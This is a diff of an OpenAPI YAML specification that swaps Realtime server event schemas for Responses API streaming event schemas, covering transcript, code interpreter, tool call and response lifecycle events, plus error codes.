- - $ref: '#/components/schemas/RealtimeServerEventConversationItemTruncated'
- - $ref: '#/components/schemas/RealtimeServerEventError'
- - $ref: '#/components/schemas/RealtimeServerEventInputAudioBufferCleared'
- - $ref: '#/components/schemas/RealtimeServerEventInputAudioBufferCommitted'
- - $ref: '#/components/schemas/RealtimeServerEventInputAudioBufferDtmfEventReceived'
- - $ref: '#/components/schemas/RealtimeServerEventInputAudioBufferSpeechStarted'
- - $ref: '#/components/schemas/RealtimeServerEventInputAudioBufferSpeechStopped'
- - $ref: '#/components/schemas/RealtimeServerEventRateLimitsUpdated'
- - $ref: '#/components/schemas/RealtimeServerEventResponseAudioDelta'
- - $ref: '#/components/schemas/RealtimeServerEventResponseAudioDone'
- - $ref: '#/components/schemas/RealtimeServerEventResponseAudioTranscriptDelta'
- - $ref: '#/components/schemas/RealtimeServerEventResponseAudioTranscriptDone'
- - $ref: '#/components/schemas/RealtimeServerEventResponseContentPartAdded'
- - $ref: '#/components/schemas/RealtimeServerEventResponseContentPartDone'
- - $ref: '#/components/schemas/RealtimeServerEventResponseCreated'
- - $ref: '#/components/schemas/RealtimeServerEventResponseDone'
- - $ref: '#/components/schemas/RealtimeServerEventResponseFunctionCallArgumentsDelta'
- - $ref: '#/components/schemas/RealtimeServerEventResponseFunctionCallArgumentsDone'
- - $ref: '#/components/schemas/RealtimeServerEventResponseOutputItemAdded'
- - $ref: '#/components/schemas/RealtimeServerEventResponseOutputItemDone'
- - $ref: '#/components/schemas/RealtimeServerEventResponseTextDelta'
- - $ref: '#/components/schemas/RealtimeServerEventResponseTextDone'
- - $ref: '#/components/schemas/RealtimeServerEventSessionCreated'
- - $ref: '#/components/schemas/RealtimeServerEventSessionUpdated'
- - $ref: '#/components/schemas/RealtimeServerEventOutputAudioBufferStarted'
- - $ref: '#/components/schemas/RealtimeServerEventOutputAudioBufferStopped'
- - $ref: '#/components/schemas/RealtimeServerEventOutputAudioBufferCleared'
- - $ref: '#/components/schemas/RealtimeServerEventConversationItemAdded'
- - $ref: '#/components/schemas/RealtimeServerEventConversationItemDone'
- - $ref: '#/components/schemas/RealtimeServerEventInputAudioBufferTimeoutTriggered'
- - $ref: '#/components/schemas/RealtimeServerEventConversationItemInputAudioTranscriptionSegment'
- - $ref: '#/components/schemas/RealtimeServerEventMCPListToolsInProgress'
- - $ref: '#/components/schemas/RealtimeServerEventMCPListToolsCompleted'
- - $ref: '#/components/schemas/RealtimeServerEventMCPListToolsFailed'
- - $ref: '#/components/schemas/RealtimeServerEventResponseMCPCallArgumentsDelta'
- - $ref: '#/components/schemas/RealtimeServerEventResponseMCPCallArgumentsDone'
- - $ref: '#/components/schemas/RealtimeServerEventResponseMCPCallInProgress'
- - $ref: '#/components/schemas/RealtimeServerEventResponseMCPCallCompleted'
- - $ref: '#/components/schemas/RealtimeServerEventResponseMCPCallFailed'
- RealtimeServerEventConversationCreated:
+ The sequence number of the delta.
+ required:
+ - type
+ - sequence_number
+ - response_id
+ x-oaiMeta:
+ name: response.audio.done
+ group: responses
+ example: |
+ {
+ "type": "response.audio.done",
+ "response_id": "resp-123",
+ "sequence_number": 1
+ }
+ ResponseAudioTranscriptDeltaEvent:
type: object
- description: |
- Returned when a conversation is created. Emitted right after session creation.
+ description: Emitted when there is a partial transcript of audio.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.audio.transcript.delta`.
+ enum:
+ - response.audio.transcript.delta
x-stainless-const: true
- description: The event type, must be `conversation.created`.
- const: conversation.created
- conversation:
- type: object
- description: The conversation resource.
- properties:
- id:
- type: string
- description: The unique ID of the conversation.
- object:
- description: The object type, must be `realtime.conversation`.
- const: realtime.conversation
+ delta:
+ type: string
+ description: |
+ The partial transcript of the audio response.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- - conversation
+ - response_id
+ - delta
+ - sequence_number
x-oaiMeta:
- name: conversation.created
- group: realtime
+ name: response.audio.transcript.delta
+ group: responses
example: |
{
- "event_id": "event_9101",
- "type": "conversation.created",
- "conversation": {
- "id": "conv_001",
- "object": "realtime.conversation"
- }
+ "type": "response.audio.transcript.delta",
+ "response_id": "resp_123",
+ "delta": " ... partial transcript ... ",
+ "sequence_number": 1
}
- RealtimeServerEventConversationItemAdded:
+ ResponseAudioTranscriptDoneEvent:
type: object
- description: |
- Sent by the server when an Item is added to the default Conversation. This can happen in several cases:
- - When the client sends a `conversation.item.create` event.
- - When the input audio buffer is committed. In this case the item will be a user message containing the audio from the buffer.
- - When the model is generating a Response. In this case the `conversation.item.added` event will be sent when the model starts generating a specific Item, and thus it will not yet have any content (and `status` will be `in_progress`).
-
- The event will include the full content of the Item (except when model is generating a Response) except for audio data, which can be retrieved separately with a `conversation.item.retrieve` event if necessary.
+ description: Emitted when the full audio transcript is completed.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.audio.transcript.done`.
+ enum:
+ - response.audio.transcript.done
x-stainless-const: true
- description: The event type, must be `conversation.item.added`.
- const: conversation.item.added
- previous_item_id:
- anyOf:
- - type: string
- description: |
- The ID of the item that precedes this one, if any. This is used to
- maintain ordering when items are inserted.
- - type: 'null'
- item:
- $ref: '#/components/schemas/RealtimeConversationItem'
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- - item
+ - response_id
+ - sequence_number
x-oaiMeta:
- name: conversation.item.added
- group: realtime
+ name: response.audio.transcript.done
+ group: responses
example: |
{
- "type": "conversation.item.added",
- "event_id": "event_C9G8pjSJCfRNEhMEnYAVy",
- "previous_item_id": null,
- "item": {
- "id": "item_C9G8pGVKYnaZu8PH5YQ9O",
- "type": "message",
- "status": "completed",
- "role": "user",
- "content": [
- {
- "type": "input_text",
- "text": "hi"
- }
- ]
- }
+ "type": "response.audio.transcript.done",
+ "response_id": "resp_123",
+ "sequence_number": 1
}
- RealtimeServerEventConversationItemCreated:
+ ResponseCodeInterpreterCallCodeDeltaEvent:
type: object
- description: |
- Returned when a conversation item is created. There are several scenarios that produce this event:
- - The server is generating a Response, which if successful will produce
- either one or two Items, which will be of type `message`
- (role `assistant`) or type `function_call`.
- - The input audio buffer has been committed, either by the client or the
- server (in `server_vad` mode). The server will take the content of the
- input audio buffer and add it to a new user message Item.
- - The client has sent a `conversation.item.create` event to add a new Item
- to the Conversation.
+ description: Emitted when a partial code snippet is streamed by the code interpreter.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: The type of the event. Always `response.code_interpreter_call_code.delta`.
+ enum:
+ - response.code_interpreter_call_code.delta
x-stainless-const: true
- description: The event type, must be `conversation.item.created`.
- const: conversation.item.created
- previous_item_id:
- anyOf:
- - type: string
- description: |
- The ID of the preceding item in the Conversation context, allows the
- client to understand the order of the conversation. Can be `null` if the
- item has no predecessor.
- - type: 'null'
- item:
- $ref: '#/components/schemas/RealtimeConversationItem'
+ output_index:
+ type: integer
+ description: The index of the output item in the response for which the code is being streamed.
+ item_id:
+ type: string
+ description: The unique identifier of the code interpreter tool call item.
+ delta:
+ type: string
+ description: The partial code snippet being streamed by the code interpreter.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event, used to order streaming events.
required:
- - event_id
- type
- - item
+ - output_index
+ - item_id
+ - delta
+ - sequence_number
x-oaiMeta:
- name: conversation.item.created
- group: realtime
+ name: response.code_interpreter_call_code.delta
+ group: responses
example: |
{
- "event_id": "event_1920",
- "type": "conversation.item.created",
- "previous_item_id": "msg_002",
- "item": {
- "id": "msg_003",
- "object": "realtime.item",
- "type": "message",
- "status": "completed",
- "role": "user",
- "content": []
- }
+ "type": "response.code_interpreter_call_code.delta",
+ "output_index": 0,
+ "item_id": "ci_12345",
+ "delta": "print('Hello, world')",
+ "sequence_number": 1
}
- RealtimeServerEventConversationItemDeleted:
+ ResponseCodeInterpreterCallCodeDoneEvent:
type: object
- description: "Returned when an item in the conversation is deleted by the client with a \n`conversation.item.delete` event. This event is used to synchronize the \nserver's understanding of the conversation history with the client's view.\n"
+ description: Emitted when the code snippet is finalized by the code interpreter.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: The type of the event. Always `response.code_interpreter_call_code.done`.
+ enum:
+ - response.code_interpreter_call_code.done
x-stainless-const: true
- description: The event type, must be `conversation.item.deleted`.
- const: conversation.item.deleted
+ output_index:
+ type: integer
+ description: The index of the output item in the response for which the code is finalized.
item_id:
type: string
- description: The ID of the item that was deleted.
+ description: The unique identifier of the code interpreter tool call item.
+ code:
+ type: string
+ description: The final code snippet output by the code interpreter.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event, used to order streaming events.
required:
- - event_id
- type
+ - output_index
- item_id
+ - code
+ - sequence_number
x-oaiMeta:
- name: conversation.item.deleted
- group: realtime
+ name: response.code_interpreter_call_code.done
+ group: responses
example: |
{
- "event_id": "event_2728",
- "type": "conversation.item.deleted",
- "item_id": "msg_005"
+ "type": "response.code_interpreter_call_code.done",
+ "output_index": 3,
+ "item_id": "ci_12345",
+ "code": "print('done')",
+ "sequence_number": 1
}
- RealtimeServerEventConversationItemDone:
+ ResponseCodeInterpreterCallCompletedEvent:
type: object
- description: |
- Returned when a conversation item is finalized.
-
- The event will include the full content of the Item except for audio data, which can be retrieved separately with a `conversation.item.retrieve` event if needed.
+ description: Emitted when the code interpreter call is completed.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: The type of the event. Always `response.code_interpreter_call.completed`.
+ enum:
+ - response.code_interpreter_call.completed
x-stainless-const: true
- description: The event type, must be `conversation.item.done`.
- const: conversation.item.done
- previous_item_id:
- anyOf:
- - type: string
- description: |
- The ID of the item that precedes this one, if any. This is used to
- maintain ordering when items are inserted.
- - type: 'null'
- item:
- $ref: '#/components/schemas/RealtimeConversationItem'
+ output_index:
+ type: integer
+ description: The index of the output item in the response for which the code interpreter call is completed.
+ item_id:
+ type: string
+ description: The unique identifier of the code interpreter tool call item.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event, used to order streaming events.
required:
- - event_id
- type
- - item
+ - output_index
+ - item_id
+ - sequence_number
x-oaiMeta:
- name: conversation.item.done
- group: realtime
+ name: response.code_interpreter_call.completed
+ group: responses
example: |
{
- "type": "conversation.item.done",
- "event_id": "event_CCXLgMZPo3qioWCeQa4WH",
- "previous_item_id": "item_CCXLecNJVIVR2HUy3ABLj",
- "item": {
- "id": "item_CCXLfxmM5sXVJVz4mCa2S",
- "type": "message",
- "status": "completed",
- "role": "assistant",
- "content": [
- {
- "type": "output_audio",
- "transcript": "Oh, I can hear you loud and clear! Sounds like we're connected just fine. What can I help you with today?"
- }
- ]
- }
+ "type": "response.code_interpreter_call.completed",
+ "output_index": 5,
+ "item_id": "ci_12345",
+ "sequence_number": 1
}
- RealtimeServerEventConversationItemInputAudioTranscriptionCompleted:
+ ResponseCodeInterpreterCallInProgressEvent:
type: object
- description: |
- This event is the output of audio transcription for user audio written to the
- user audio buffer. Transcription begins when the input audio buffer is
- committed by the client or server (when VAD is enabled). Transcription runs
- asynchronously with Response creation, so this event may come before or after
- the Response events.
-
- Realtime API models accept audio natively, and thus input transcription is a
- separate process run on a separate ASR (Automatic Speech Recognition) model.
- The transcript may diverge somewhat from the model's interpretation, and
- should be treated as a rough guide.
+ description: Emitted when a code interpreter call is in progress.
properties:
- event_id:
+ type:
type: string
- description: The unique ID of the server event.
+ description: The type of the event. Always `response.code_interpreter_call.in_progress`.
+ enum:
+ - response.code_interpreter_call.in_progress
+ x-stainless-const: true
+ output_index:
+ type: integer
+ description: The index of the output item in the response for which the code interpreter call is in progress.
+ item_id:
+ type: string
+ description: The unique identifier of the code interpreter tool call item.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event, used to order streaming events.
+ required:
+ - type
+ - output_index
+ - item_id
+ - sequence_number
+ x-oaiMeta:
+ name: response.code_interpreter_call.in_progress
+ group: responses
+ example: |
+ {
+ "type": "response.code_interpreter_call.in_progress",
+ "output_index": 0,
+ "item_id": "ci_12345",
+ "sequence_number": 1
+ }
+ ResponseCodeInterpreterCallInterpretingEvent:
+ type: object
+ description: Emitted when the code interpreter is actively interpreting the code snippet.
+ properties:
type:
type: string
+ description: The type of the event. Always `response.code_interpreter_call.interpreting`.
enum:
- - conversation.item.input_audio_transcription.completed
- description: |
- The event type, must be
- `conversation.item.input_audio_transcription.completed`.
+ - response.code_interpreter_call.interpreting
x-stainless-const: true
+ output_index:
+ type: integer
+ description: The index of the output item in the response for which the code interpreter is interpreting code.
item_id:
type: string
- description: The ID of the item containing the audio that is being transcribed.
- content_index:
+ description: The unique identifier of the code interpreter tool call item.
+ sequence_number:
type: integer
- description: The index of the content part containing the audio.
- transcript:
+ description: The sequence number of this event, used to order streaming events.
+ required:
+ - type
+ - output_index
+ - item_id
+ - sequence_number
+ x-oaiMeta:
+ name: response.code_interpreter_call.interpreting
+ group: responses
+ example: |
+ {
+ "type": "response.code_interpreter_call.interpreting",
+ "output_index": 4,
+ "item_id": "ci_12345",
+ "sequence_number": 1
+ }
+ ResponseCompletedEvent:
+ type: object
+ description: Emitted when the model response is complete.
+ properties:
+ type:
type: string
- description: The transcribed text.
- languages:
- type: array
description: |
- The languages detected in the audio. Returned by `gpt-transcribe`. An empty array indicates that no language could be reliably detected.
- items:
- $ref: '#/components/schemas/TranscriptionLanguage'
- logprobs:
- anyOf:
- - type: array
- description: The log probabilities of the transcription.
- items:
- $ref: '#/components/schemas/LogProbProperties'
- - type: 'null'
- usage:
- type: object
- description: Usage statistics for the transcription, this is billed according to the ASR model's pricing rather than the realtime model's pricing.
- anyOf:
- - $ref: '#/components/schemas/TranscriptTextUsageTokens'
- title: TranscriptTextUsageTokens
- - $ref: '#/components/schemas/TranscriptTextUsageDuration'
- title: TranscriptTextUsageDuration
+ The type of the event. Always `response.completed`.
+ enum:
+ - response.completed
+ x-stainless-const: true
+ response:
+ $ref: '#/components/schemas/Response'
+ description: |
+ Properties of the completed response.
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
required:
- - event_id
- type
- - item_id
- - content_index
- - transcript
- - usage
+ - response
+ - sequence_number
x-oaiMeta:
- name: conversation.item.input_audio_transcription.completed
- group: realtime
+ name: response.completed
+ group: responses
example: |
{
- "type": "conversation.item.input_audio_transcription.completed",
- "event_id": "event_CCXGRvtUVrax5SJAnNOWZ",
- "item_id": "item_CCXGQ4e1ht4cOraEYcuR2",
- "content_index": 0,
- "transcript": "Hey, can you hear me?",
- "usage": {
- "type": "tokens",
- "total_tokens": 22,
- "input_tokens": 13,
- "input_token_details": {
- "text_tokens": 0,
- "audio_tokens": 13
+ "type": "response.completed",
+ "response": {
+ "id": "resp_123",
+ "object": "response",
+ "created_at": 1740855869,
+ "status": "completed",
+ "completed_at": 1740855870,
+ "error": null,
+ "incomplete_details": null,
+ "input": [],
+ "instructions": null,
+ "max_output_tokens": null,
+ "model": "gpt-6-astra",
+ "output": [
+ {
+ "id": "msg_123",
+ "type": "message",
+ "role": "assistant",
+ "content": [
+ {
+ "type": "output_text",
+ "text": "In a shimmering forest under a sky full of stars, a lonely unicorn named Lila discovered a hidden pond that glowed with moonlight. Every night, she would leave sparkling, magical flowers by the water's edge, hoping to share her beauty with others. One enchanting evening, she woke to find a group of friendly animals gathered around, eager to be friends and share in her magic.",
+ "annotations": []
+ }
+ ]
+ }
+ ],
+ "previous_response_id": null,
+ "reasoning_effort": null,
+ "store": false,
+ "temperature": 1,
+ "text": {
+ "format": {
+ "type": "text"
+ }
},
- "output_tokens": 9
- }
+ "tool_choice": "auto",
+ "tools": [],
+ "top_p": 1,
+ "truncation": "disabled",
+ "usage": {
+ "input_tokens": 0,
+ "output_tokens": 0,
+ "output_tokens_details": {
+ "reasoning_tokens": 0
+ },
+ "total_tokens": 0
+ },
+ "user": null,
+ "metadata": {}
+ },
+ "sequence_number": 1
}
- RealtimeServerEventConversationItemInputAudioTranscriptionDelta:
+ ResponseConfigurationUpdate:
type: object
description: |
- Returned when the text value of an input audio transcription content part is updated with incremental transcription results.
+ A configuration update that applies to subsequent responses until it is
+ replaced by another configuration update.
properties:
- event_id:
+ id:
type: string
- description: The unique ID of the server event.
+ description: The unique ID of the configuration update item.
+ example: cnfu_123
type:
- x-stainless-const: true
- description: The event type, must be `conversation.item.input_audio_transcription.delta`.
- const: conversation.item.input_audio_transcription.delta
- item_id:
- type: string
- description: The ID of the item containing the audio that is being transcribed.
- content_index:
- type: integer
- description: The index of the content part in the item's content array.
- delta:
type: string
- description: The text delta.
- logprobs:
- anyOf:
- - type: array
- description: 'The log probabilities of the transcription. These can be enabled by configurating the session with `"include": ["item.input_audio_transcription.logprobs"]`. Each entry in the array corresponds a log probability of which token would be selected for this chunk of transcription. This can help to identify if it was possible there were multiple valid options for a given chunk of transcription.'
- items:
- $ref: '#/components/schemas/LogProbProperties'
- - type: 'null'
+ enum:
+ - configuration_update
+ description: The item type. Always `configuration_update`.
+ default: configuration_update
+ x-stainless-const: true
+ reasoning:
+ type: object
+ description: The reasoning configuration applied by this update.
+ properties:
+ effort:
+ $ref: '#/components/schemas/ReasoningEffort'
+ description: |
+ The reasoning effort used for subsequent responses until another
+ configuration update replaces it.
required:
- - event_id
+ - id
- type
- - item_id
- x-oaiMeta:
- name: conversation.item.input_audio_transcription.delta
- group: realtime
- example: |
- {
- "type": "conversation.item.input_audio_transcription.delta",
- "event_id": "event_CCXGRxsAimPAs8kS2Wc7Z",
- "item_id": "item_CCXGQ4e1ht4cOraEYcuR2",
- "content_index": 0,
- "delta": "Hey",
- "obfuscation": "aLxx0jTEciOGe"
- }
- RealtimeServerEventConversationItemInputAudioTranscriptionFailed:
+ ResponseConfigurationUpdateItemParam:
type: object
- description: "Returned when input audio transcription is configured, and a transcription \nrequest for a user message failed. These events are separate from other \n`error` events so that the client can identify the related Item.\n"
+ description: |
+ An update to the conversation's response configuration. The configuration
+ remains in effect for subsequent responses until it is replaced by another
+ configuration update.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
+ id:
+ anyOf:
+ - type: string
+ description: The unique ID of the configuration update item.
+ example: cnfu_123
+ - type: 'null'
type:
type: string
enum:
- - conversation.item.input_audio_transcription.failed
- description: |
- The event type, must be
- `conversation.item.input_audio_transcription.failed`.
+ - configuration_update
+ description: The item type. Always `configuration_update`.
+ default: configuration_update
x-stainless-const: true
- item_id:
- type: string
- description: The ID of the user message item.
- content_index:
- type: integer
- description: The index of the content part containing the audio.
- error:
+ reasoning:
type: object
- description: Details of the transcription error.
+ description: Updates to reasoning configuration. Only effort is supported.
properties:
- type:
- type: string
- description: The type of error.
- code:
- type: string
- description: Error code, if any.
- message:
- type: string
- description: A human-readable error message.
- param:
- type: string
- description: Parameter related to the error, if any.
+ effort:
+ $ref: '#/components/schemas/ReasoningEffort'
+ description: |
+ The reasoning effort to use for subsequent responses until another
+ configuration update replaces it.
required:
- - event_id
- type
- - item_id
- - content_index
- - error
- x-oaiMeta:
- name: conversation.item.input_audio_transcription.failed
- group: realtime
- example: |
- {
- "event_id": "event_2324",
- "type": "conversation.item.input_audio_transcription.failed",
- "item_id": "msg_003",
- "content_index": 0,
- "error": {
- "type": "transcription_error",
- "code": "audio_unintelligible",
- "message": "The audio could not be transcribed.",
- "param": null
- }
- }
- RealtimeServerEventConversationItemInputAudioTranscriptionSegment:
+ ResponseContentPartAddedEvent:
type: object
- description: Returned when an input audio transcription segment is identified for an item.
+ description: Emitted when a new content part is added.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.content_part.added`.
+ enum:
+ - response.content_part.added
x-stainless-const: true
- description: The event type, must be `conversation.item.input_audio_transcription.segment`.
- const: conversation.item.input_audio_transcription.segment
item_id:
type: string
- description: The ID of the item containing the input audio content.
+ description: |
+ The ID of the output item that the content part was added to.
+ output_index:
+ type: integer
+ description: |
+ The index of the output item that the content part was added to.
content_index:
type: integer
- description: The index of the input audio content part within the item.
- text:
- type: string
- description: The text for this segment.
- id:
- type: string
- description: The segment identifier.
- speaker:
- type: string
- description: The detected speaker label for this segment.
- start:
- type: number
- format: double
- description: Start time of the segment in seconds.
- end:
- type: number
- format: double
- description: End time of the segment in seconds.
+ description: |
+ The index of the content part that was added.
+ part:
+ $ref: '#/components/schemas/OutputContent'
+ description: |
+ The content part that was added.
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
required:
- - event_id
- type
- item_id
+ - output_index
- content_index
- - text
- - id
- - speaker
- - start
- - end
+ - part
+ - sequence_number
x-oaiMeta:
- name: conversation.item.input_audio_transcription.segment
- group: realtime
+ name: response.content_part.added
+ group: responses
example: |
{
- "event_id": "event_6501",
- "type": "conversation.item.input_audio_transcription.segment",
- "item_id": "msg_011",
- "content_index": 0,
- "text": "hello",
- "id": "seg_0001",
- "speaker": "spk_1",
- "start": 0.0,
- "end": 0.4
+ "type": "response.content_part.added",
+ "item_id": "msg_123",
+ "output_index": 0,
+ "content_index": 0,
+ "part": {
+ "type": "output_text",
+ "text": "",
+ "annotations": []
+ },
+ "sequence_number": 1
}
- RealtimeServerEventConversationItemRetrieved:
+ ResponseContentPartDoneEvent:
type: object
- description: |
- Returned when a conversation item is retrieved with `conversation.item.retrieve`. This is provided as a way to fetch the server's representation of an item, for example to get access to the post-processed audio data after noise cancellation and VAD. It includes the full content of the Item, including audio data.
+ description: Emitted when a content part is done.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
- x-stainless-const: true
- description: The event type, must be `conversation.item.retrieved`.
- const: conversation.item.retrieved
- item:
- $ref: '#/components/schemas/RealtimeConversationItem'
- required:
- - event_id
- - type
- - item
- x-oaiMeta:
- name: conversation.item.retrieved
- group: realtime
- example: |
- {
- "type": "conversation.item.retrieved",
- "event_id": "event_CCXGSizgEppa2d4XbKA7K",
- "item": {
- "id": "item_CCXGRxbY0n6WE4EszhF5w",
- "object": "realtime.item",
- "type": "message",
- "status": "completed",
- "role": "assistant",
- "content": [
- {
- "type": "audio",
- "transcript": "Yes, I can hear you loud and clear. How can I help you today?",
- "audio": "8//2//v/9//q/+//+P/s...",
- "format": "pcm16"
- }
- ]
- }
- }
- RealtimeServerEventConversationItemTruncated:
- type: object
- description: "Returned when an earlier assistant audio message item is truncated by the \nclient with a `conversation.item.truncate` event. This event is used to \nsynchronize the server's understanding of the audio with the client's playback.\n\nThis action will truncate the audio and remove the server-side text transcript \nto ensure there is no text in the context that hasn't been heard by the user.\n"
- properties:
- event_id:
type: string
- description: The unique ID of the server event.
- type:
+ description: |
+ The type of the event. Always `response.content_part.done`.
+ enum:
+ - response.content_part.done
x-stainless-const: true
- description: The event type, must be `conversation.item.truncated`.
- const: conversation.item.truncated
item_id:
type: string
- description: The ID of the assistant message item that was truncated.
+ description: |
+ The ID of the output item that the content part was added to.
+ output_index:
+ type: integer
+ description: |
+ The index of the output item that the content part was added to.
content_index:
type: integer
- description: The index of the content part that was truncated.
- audio_end_ms:
+ description: |
+ The index of the content part that is done.
+ sequence_number:
type: integer
+ description: The sequence number of this event.
+ part:
+ $ref: '#/components/schemas/OutputContent'
description: |
- The duration up to which the audio was truncated, in milliseconds.
+ The content part that is done.
required:
- - event_id
- type
- item_id
+ - output_index
- content_index
- - audio_end_ms
+ - part
+ - sequence_number
x-oaiMeta:
- name: conversation.item.truncated
- group: realtime
+ name: response.content_part.done
+ group: responses
example: |
{
- "event_id": "event_2526",
- "type": "conversation.item.truncated",
- "item_id": "msg_004",
- "content_index": 0,
- "audio_end_ms": 1500
+ "type": "response.content_part.done",
+ "item_id": "msg_123",
+ "output_index": 0,
+ "content_index": 0,
+ "sequence_number": 1,
+ "part": {
+ "type": "output_text",
+ "text": "In a shimmering forest under a sky full of stars, a lonely unicorn named Lila discovered a hidden pond that glowed with moonlight. Every night, she would leave sparkling, magical flowers by the water's edge, hoping to share her beauty with others. One enchanting evening, she woke to find a group of friendly animals gathered around, eager to be friends and share in her magic.",
+ "annotations": []
+ }
}
- RealtimeServerEventError:
+ ResponseCreatedEvent:
type: object
description: |
- Returned when an error occurs, which could be a client problem or a server
- problem. Most errors are recoverable and the session will stay open, we
- recommend to implementors to monitor and log error messages by default.
+ An event that is emitted when a response is created.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ description: |
+ The type of the event. Always `response.created`.
+ enum:
+ - response.created
x-stainless-const: true
- description: The event type, must be `error`.
- const: error
- error:
- type: object
- description: Details of the error.
- required:
- - type
- - message
- properties:
- type:
- type: string
- description: |
- The type of error (e.g., "invalid_request_error", "server_error").
- code:
- anyOf:
- - type: string
- description: Error code, if any.
- - type: 'null'
- message:
- type: string
- description: A human-readable error message.
- param:
- anyOf:
- - type: string
- description: Parameter related to the error, if any.
- - type: 'null'
- event_id:
- anyOf:
- - type: string
- description: |
- The event_id of the client event that caused the error, if applicable.
- - type: 'null'
+ response:
+ $ref: '#/components/schemas/Response'
+ description: |
+ The response that was created.
+ sequence_number:
+ type: integer
+ description: The sequence number for this event.
required:
- - event_id
- type
- - error
+ - response
+ - sequence_number
x-oaiMeta:
- name: error
- group: realtime
+ name: response.created
+ group: responses
example: |
{
- "event_id": "event_890",
- "type": "error",
- "error": {
- "type": "invalid_request_error",
- "code": "invalid_event",
- "message": "The 'type' field is missing.",
- "param": null,
- "event_id": "event_567"
- }
+ "type": "response.created",
+ "response": {
+ "id": "resp_67ccfcdd16748190a91872c75d38539e09e4d4aac714747c",
+ "object": "response",
+ "created_at": 1741487325,
+ "status": "in_progress",
+ "completed_at": null,
+ "error": null,
+ "incomplete_details": null,
+ "instructions": null,
+ "max_output_tokens": null,
+ "model": "gpt-6-astra",
+ "output": [],
+ "parallel_tool_calls": true,
+ "previous_response_id": null,
+ "reasoning": {
+ "effort": null,
+ "summary": null
+ },
+ "store": true,
+ "temperature": 1,
+ "text": {
+ "format": {
+ "type": "text"
+ }
+ },
+ "tool_choice": "auto",
+ "tools": [],
+ "top_p": 1,
+ "truncation": "disabled",
+ "usage": null,
+ "user": null,
+ "metadata": {}
+ },
+ "sequence_number": 1
}
- RealtimeServerEventInputAudioBufferCleared:
+ ResponseCustomToolCallInputDeltaEvent:
+ title: ResponseCustomToolCallInputDelta
type: object
- description: "Returned when the input audio buffer is cleared by the client with a \n`input_audio_buffer.clear` event.\n"
+ description: |
+ Event representing a delta (partial update) to the input of a custom tool call.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ enum:
+ - response.custom_tool_call_input.delta
+ description: The event type identifier.
x-stainless-const: true
- description: The event type, must be `input_audio_buffer.cleared`.
- const: input_audio_buffer.cleared
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
+ output_index:
+ type: integer
+ description: The index of the output this delta applies to.
+ item_id:
+ type: string
+ description: Unique identifier for the API item associated with this event.
+ delta:
+ type: string
+ description: The incremental input data (delta) for the custom tool call.
required:
- - event_id
- type
+ - output_index
+ - item_id
+ - delta
+ - sequence_number
x-oaiMeta:
- name: input_audio_buffer.cleared
- group: realtime
+ name: response.custom_tool_call_input.delta
+ group: responses
example: |
{
- "event_id": "event_1314",
- "type": "input_audio_buffer.cleared"
+ "type": "response.custom_tool_call_input.delta",
+ "output_index": 0,
+ "item_id": "ctc_1234567890abcdef",
+ "delta": "partial input text"
}
- RealtimeServerEventInputAudioBufferCommitted:
+ ResponseCustomToolCallInputDoneEvent:
+ title: ResponseCustomToolCallInputDone
type: object
description: |
- Returned when an input audio buffer is committed, either by the client or
- automatically in server VAD mode. The `item_id` property is the ID of the user
- message item that will be created, thus a `conversation.item.created` event
- will also be sent to the client.
+ Event indicating that input for a custom tool call is complete.
properties:
- event_id:
- type: string
- description: The unique ID of the server event.
type:
+ type: string
+ enum:
+ - response.custom_tool_call_input.done
+ description: The event type identifier.
x-stainless-const: true
- description: The event type, must be `input_audio_buffer.committed`.
- const: input_audio_buffer.committed
- previous_item_id:
- anyOf:
- - type: string
- description: |
- The ID of the preceding item after which the new item will be inserted.
- Can be `null` if the item has no predecessor.
- - type: 'null'
+ sequence_number:
+ type: integer
+ description: The sequence number of this event.
+ output_index:
+ type: integer
+ description: The index of the output this event applies to.
item_id:
type: string
- description: The ID of the user message item that will be created.
+ description: Unique identifier for the API item associated with this event.
+ input:
+ type: string
+ description: The complete input data for the custom tool call.
required:
- - event_id
- type
+ - output_index
- item_id
+ - input
+ - sequence_number
x-oaiMeta:
- name: input_audio_buffer.committed
- group: realtime
+ name: response.custom_tool_call_input.done
+ group: responses
example: |
{
- "event_id": "event_1121",
- "type": "input_audio_buffer.committed",
- "previous_item_id": "msg_001",
- "item_id": "msg_002"
+ "type": "response.custom_tool_call_input.done",
+ "output_index": 0,
+ "item_id": "ctc_1234567890abcdef",
+ "input": "final complete input text"
}
- RealtimeServerEventInputAudioBufferDtmfEventReceived:
- type: object
+ ResponseError:
+ anyOf:
+ - type: object
+ description: |
+ An error object returned when the model fails to generate a Response.
+ properties:
+ code:
+ $ref: '#/components/schemas/ResponseErrorCode'
+ message:
+ type: string
+ description: |
+ A human-readable description of the error.
+ misalignment:
+ $ref: '#/components/schemas/MisalignmentErrorDetailsResource'
+ required:
+ - code
+ - message
+ - type: 'null'
+ ResponseErrorCode:
+ type: string
description: |
- **SIP Only:** Returned when an DTMF event is received. A DTMF event is a message that
- represents a telephone keypad press (0–9, *, #, A–D). The `event` property
- is the keypad that the user press. The `received_at` is the UTC Unix Timestamp
- that the server received the event.
+ The error code for the response.
+ enum:
+ - server_error
+ - rate_limit_exceeded
+ - invalid_prompt
+ - data_residency_mismatch
+ - bio_policy
+ - misalignment_policy_violation
+ - vector_store_timeout
+ - invalid_image
